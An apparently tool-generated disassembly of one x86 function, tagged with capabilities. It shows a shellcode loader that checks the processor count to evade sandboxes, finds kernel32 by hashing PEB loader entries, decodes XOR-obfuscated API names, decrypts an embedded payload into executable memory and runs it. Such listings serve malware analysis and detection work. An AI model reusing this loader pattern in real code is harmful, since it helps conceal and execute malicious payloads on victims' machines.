Function at 0x4012b0
Capabilities:
Access peb ldr_data
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
push 0
push 0x2710
push dword [ebp - 0x14]
push dword [ebp - 0x18]
call fcn.00401890
push edx
push eax
push str.Current_time_in_milliseconds_since_the_Epoch:__llu_n
call fcn.00401840
add esp, 0xc
mov dword [ebp - 0x18], 0
pushal
mov eax, dword fs:[0x30]
mov ebx, dword ds:[eax + 0x64]
mov dword [ebp - 0x18], ebx
popal
cmp dword [ebp - 0x18], 5
mov eax, 5
jb 0x401834
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x40], 0x330
pushal
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ebx, eax
add ebx, 0xc
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x30]
mov ecx, 0x18
xor esi, esi
xor ebx, ebx
add bl, byte [edi + ecx - 1]
add esi, ebx
loop 0x401348
cmp esi, dword [ebp - 0x40]
je 0x40135d
mov eax, dword [eax]
cmp eax, ebx
jne 0x40133e
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x18], eax
nop
popal
mov eax, dword [0x4ba738]
mov esi, eax
shr esi, 1
cmp eax, 2
jae 0x401385
mov dword [0x4ba738], esi
mov byte [esi + 0x4ba73c], 0
jmp 0x401442
xor ecx, ecx
cmp esi, 1
je 0x4013d7
mov edx, esi
and edx, 0xfffffffe
xor ecx, ecx
nop word cs:[eax + eax]
movzx ebx, byte [ecx + ecx + 0x4ba73c]
shl bl, 4
or bl, byte [ecx + ecx + 0x4ba73d]
mov byte [ecx + 0x4ba73c], bl
movzx ebx, byte [ecx + ecx + 0x4ba73e]
shl bl, 4
or bl, byte [ecx + ecx + 0x4ba73f]
mov byte [ecx + 0x4ba73d], bl
add ecx, 2
cmp edx, ecx
jne 0x4013a0
test al, 2
je 0x4013f3
movzx eax, byte [ecx + ecx + 0x4ba73c]
shl al, 4
or al, byte [ecx + ecx + 0x4ba73d]
mov byte [ecx + 0x4ba73c], al
mov edi, dword [0x4ba720]
mov dword [0x4ba738], esi
mov byte [esi + 0x4ba73c], 0
nop word cs:[eax + eax]
lea ecx, [esi - 1]
mov eax, esi
xor edx, edx
div edi
movzx ebx, byte [edx + 0x4ba724]
xor bl, byte [esi + 0x4ba73b]
not bl
rol bl, cl
mov eax, ecx
xor edx, edx
div edi
xor bl, byte [edx + 0x4ba724]
mov byte [esi + 0x4ba73b], bl
mov esi, ecx
test ecx, ecx
jne 0x401410
push 0x4ba73c
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, dword [0x4ba758]
mov esi, eax
shr esi, 1
cmp eax, 2
jae 0x401470
mov dword [0x4ba758], esi
mov byte [esi + 0x4ba75c], 0
jmp 0x401522
xor ecx, ecx
cmp esi, 1
je 0x4014b7
mov edx, esi
and edx, 0xfffffffe
xor ecx, ecx
nop
movzx ebx, byte [ecx + ecx + 0x4ba75c]
shl bl, 4
or bl, byte [ecx + ecx + 0x4ba75d]
mov byte [ecx + 0x4ba75c], bl
movzx ebx, byte [ecx + ecx + 0x4ba75e]
shl bl, 4
or bl, byte [ecx + ecx + 0x4ba75f]
mov byte [ecx + 0x4ba75d], bl
add ecx, 2
cmp edx, ecx
jne 0x401480
test al, 2
je 0x4014d3
movzx eax, byte [ecx + ecx + 0x4ba75c]
shl al, 4
or al, byte [ecx + ecx + 0x4ba75d]
mov byte [ecx + 0x4ba75c], al
mov edi, dword [0x4ba720]
mov dword [0x4ba758], esi
mov byte [esi + 0x4ba75c], 0
nop word cs:[eax + eax]
lea ecx, [esi - 1]
mov eax, esi
xor edx, edx
div edi
movzx ebx, byte [edx + 0x4ba724]
xor bl, byte [esi + 0x4ba75b]
not bl
rol bl, cl
mov eax, ecx
xor edx, edx
div edi
xor bl, byte [edx + 0x4ba724]
mov byte [esi + 0x4ba75b], bl
mov esi, ecx
test ecx, ecx
jne 0x4014f0
push 0x4ba75c
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
mov eax, dword [0x4ba778]
mov edi, eax
shr edi, 1
cmp eax, 2
jae 0x401553
mov dword [0x4ba778], edi
mov byte [edi + 0x4ba77c], 0
jmp 0x401612
xor ecx, ecx
cmp edi, 1
je 0x4015a7
mov edx, edi
and edx, 0xfffffffe
xor ecx, ecx
nop word cs:[eax + eax]
movzx ebx, byte [ecx + ecx + 0x4ba77c]
shl bl, 4
or bl, byte [ecx + ecx + 0x4ba77d]
mov byte [ecx + 0x4ba77c], bl
movzx ebx, byte [ecx + ecx + 0x4ba77e]
shl bl, 4
or bl, byte [ecx + ecx + 0x4ba77f]
mov byte [ecx + 0x4ba77d], bl
add ecx, 2
cmp edx, ecx
jne 0x401570
test al, 2
je 0x4015c3
movzx eax, byte [ecx + ecx + 0x4ba77c]
shl al, 4
or al, byte [ecx + ecx + 0x4ba77d]
mov byte [ecx + 0x4ba77c], al
mov esi, dword [0x4ba720]
mov dword [0x4ba778], edi
mov byte [edi + 0x4ba77c], 0
nop word cs:[eax + eax]
lea ecx, [edi - 1]
mov eax, edi
xor edx, edx
div esi
movzx ebx, byte [edx + 0x4ba724]
xor bl, byte [edi + 0x4ba77b]
not bl
rol bl, cl
mov eax, ecx
xor edx, edx
div esi
xor bl, byte [edx + 0x4ba724]
mov byte [edi + 0x4ba77b], bl
mov edi, ecx
test ecx, ecx
jne 0x4015e0
push 0x4ba77c
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2c], eax
mov esi, dword [0x41a03c]
lea eax, [esi + 1]
push 4
push 0x1000
push eax
push 0
call dword [ebp - 0x10]
mov ebx, eax
mov dword [ebp - 0x24], 0x41a040
mov dword [ebp - 0x20], eax
mov edx, esi
mov dword [ebp - 0x1c], esi
mov esi, dword [ebp - 0x24]
mov edi, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
rep movsb byte es:[edi], byte [esi]
mov esi, edx
shr esi, 1
mov dword [ebp - 0x28], edx
cmp edx, 2
mov dword [ebp - 0x10], ebx
jae 0x40166d
mov byte [ebx + esi], 0
jmp 0x40170e
mov edi, dword [section..data]
xor eax, eax
cmp esi, 1
je 0x4016b5
mov ecx, esi
and ecx, 0xfffffffe
xor eax, eax
nop word cs:[eax + eax]
movzx edx, byte [ebx + eax*2]
shl dl, 4
or dl, byte [ebx + eax*2 + 1]
mov byte [ebx + eax], dl
movzx edx, byte [ebx + eax*2 + 2]
shl dl, 4
or dl, byte [ebx + eax*2 + 3]
mov byte [ebx + eax + 1], dl
add eax, 2
cmp ecx, eax
jne 0x401690
test byte [ebp - 0x28], 2
je 0x4016c9
movzx ecx, byte [ebx + eax*2]
shl cl, 4
or cl, byte [ebx + eax*2 + 1]
mov byte [ebx + eax], cl
mov byte [ebx + esi], 0
nop dword [eax]
lea ecx, [esi - 1]
mov eax, esi
xor edx, edx
div edi
movzx ebx, byte [edx + 0x41a004]
mov eax, dword [ebp - 0x10]
xor bl, byte [eax + esi - 1]
not bl
rol bl, cl
mov eax, dword [ebp - 0x10]
mov byte [eax + esi - 1], bl
mov eax, ecx
xor edx, edx
div edi
xor bl, byte [edx + 0x41a004]
mov eax, dword [ebp - 0x10]
mov byte [eax + esi - 1], bl
mov ebx, dword [ebp - 0x10]
mov esi, ecx
test ecx, ecx
jne 0x4016d0
mov dword [ebp - 0x3c], 0
lea eax, [ebp - 0x3c]
push eax
push 0x20
push dword [0x41a03c]
push ebx
call dword [ebp - 0x2c]
mov eax, dword [0x41a71c]
mov esi, eax
shr esi, 1
cmp eax, 2
jae 0x401745
mov dword [0x41a71c], esi
mov byte [esi + 0x41a720], 0
jmp 0x401802
xor ecx, ecx
cmp esi, 1
je 0x401797
mov edx, esi
and edx, 0xfffffffe
xor ecx, ecx
nop word cs:[eax + eax]
movzx ebx, byte [ecx + ecx + 0x41a720]
shl bl, 4
or bl, byte [ecx + ecx + 0x41a721]
mov byte [ecx + 0x41a720], bl
movzx ebx, byte [ecx + ecx + 0x41a722]
shl bl, 4
or bl, byte [ecx + ecx + 0x41a723]
mov byte [ecx + 0x41a721], bl
add ecx, 2
cmp edx, ecx
jne 0x401760
test al, 2
je 0x4017b3
movzx eax, byte [ecx + ecx + 0x41a720]
shl al, 4
or al, byte [ecx + ecx + 0x41a721]
mov byte [ecx + 0x41a720], al
mov edi, dword [0x41a6e0]
mov dword [0x41a71c], esi
mov byte [esi + 0x41a720], 0
nop word cs:[eax + eax]
lea ecx, [esi - 1]
mov eax, esi
xor edx, edx
div edi
movzx ebx, byte [edx + 0x41a6e4]
xor bl, byte [esi + 0x41a71f]
not bl
rol bl, cl
mov eax, ecx
xor edx, edx
div edi
xor bl, byte [edx + 0x41a6e4]
mov byte [esi + 0x41a71f], bl
mov esi, ecx
test ecx, ecx
jne 0x4017d0
mov dword [ebp - 0x38], 0x41a720
mov eax, dword [ebp - 0x10]
mov dword [0x4bb05c], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], 1
push dword [ebp - 0x34]
push dword [ebp - 0x30]
push dword [ebp - 0x38]
call dword [0x4bb05c]
add esp, 0xc
xor eax, eax
add esp, 0x34
pop esi
pop edi
pop ebx
pop ebp
ret